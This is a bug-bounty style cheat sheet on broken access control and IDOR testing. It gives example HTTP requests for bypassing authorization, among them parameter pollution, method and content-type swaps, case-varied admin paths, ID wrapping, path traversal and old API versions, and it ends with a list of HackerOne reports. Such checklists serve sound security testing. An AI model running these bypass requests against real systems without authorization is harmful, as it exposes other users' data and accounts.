Broken Access Control

Play with Request / Response

Excessive Data Exposure

Broken Function Level Authorization

Mass Assignment

  1. Enumerate object properties

Improper Assets Management

Checklist

IDOR Checklist

GET /api_v1/messages ->200GET /api_v1/messages?user_id=victim_uuid ->200
GET /api_v1/messages?user_id=attacker_id&user_id=victim_idGET /api_v1/messages?user_id=victim_id&user_id=attacker_id
GET /user_data/2341        -> 401GET /user_data/2341.json   -> 200GET /user_data/2341.xml    -> 200GET /user_data/2341.config -> 200GET /user_data/2341.txt    -> 200
{"userid":1234,"userid":2542}
{"userid":123} ->401{"userid":[123]} ->200
{"userid":123} ->401{"userid":{"userid":123}} ->200
GET /v3/users_data/1234 ->401GET /v1/users_data/1234 ->200
GET /GetUser/dmljdGltQG1haWwuY29t
[...]
  • change HTTP method

GET /users/delete/victim_id  ->403
POST /users/delete/victim_id ->200
  • Try replacing parameter names

Instead of this:
GET /api/albums?album_id=<album id>

Try This:
GET /api/albums?account_id=<account id>

Tip: There is a Burp extension called Paramalyzer which will help with this by remembering all the parameters you have passed to a host.
  • Path Traversal

POST /users/delete/victim_id          ->403
POST /users/delete/my_id/..victim_id  ->200
  • change request content-type

Content-Type: application/xml ->
Content-Type: application/json
  • swap non-numeric with numeric id

GET /file?id=90djbkdbkdbd29dd
GET /file?id=302
  • Missing Function Level Acess Control

GET /admin/profile ->401
GET /Admin/profile ->200
GET /ADMIN/profile ->200
GET /aDmin/profile ->200
GET /adMin/profile ->200
GET /admIn/profile ->200
GET /admiN/profile ->200
  • send wildcard instead of an id

GET /api/users/user_id ->
GET /api/users/*
  • Never ignore encoded/hashed ID

for hashed ID ,create multiple accounts and understand the ppattern application users to allot an iD
  • Google Dorking/public form

search all the endpoints having ID which the search engine may have already indexed
  • Bruteforce Hidden HTTP parameters

use tools like arjun , paramminer 
  • Bypass object level authorization Add parameter onto the endpoit if not present by defualt

GET /api_v1/messages ->200
GET /api_v1/messages?user_id=victim_uuid ->200
  • HTTP Parameter POllution Give mult value for same parameter

GET /api_v1/messages?user_id=attacker_id&user_id=victim_id
GET /api_v1/messages?user_id=victim_id&user_id=attacker_id
  • change file type

GET /user_data/2341        -> 401
GET /user_data/2341.json   -> 200
GET /user_data/2341.xml    -> 200
GET /user_data/2341.config -> 200
GET /user_data/2341.txt    -> 200
  • json parameter pollution

{"userid":1234,"userid":2542}
  • Wrap the ID with an array in the body

{"userid":123} ->401
{"userid":[123]} ->200
  • wrap the id with a json object

{"userid":123} ->401
{"userid":{"userid":123}} ->200
  • Test an outdata API version

GET /v3/users_data/1234 ->401
GET /v1/users_data/1234 ->200
  • If the website using graphql, try to find IDOR using graphql!

GET /graphql
[...]
GET /graphql.php?query=
[...]

Authorization Bypass reports from HackerOne:

  1. Ability to reset password for account to Upserve - 602 upvotes, $0

  2. Privilege escalation in workers container to Semmle - 202 upvotes, $1500

  3. Unauthorized access to metadata of undisclosed reports that were retested to HackerOne - 180 upvotes, $0

    1. IDOR allow access to payments data of any user to Nord Security - 337 upvotes, $0

    2. IDOR allows any user to edit others videos to Pornhub - 246 upvotes, $1500

    3. Singapore - Account Takeover via IDOR to Starbucks - 221 upvotes, $0

    4. IDOR delete any Tickets on ads.tiktok.com to TikTok - 193 upvotes, $0

    5. IDOR in the https://market.semrush.com/ to Semrush - 155 upvotes, $0

    6. IDOR leads to Edit Anyone's Blogs / Websites to Automattic - 144 upvotes, $0

    7. [api.pandao.ru] IDOR for order delivery address to Mail.ru - 120 upvotes, $3000

    8. IDOR vulnerability (Price manipulation) to Acronis - 119 upvotes, $0

    9. IDOR and statistics leakage in Orders to X (Formerly Twitter) - 110 upvotes, $289

    10. IDOR in https://3d.cs.money/ to CS Money - 110 upvotes, $0

    11. IDOR leading to downloading of any attachment to BCM Messenger - 105 upvotes, $0

Last updated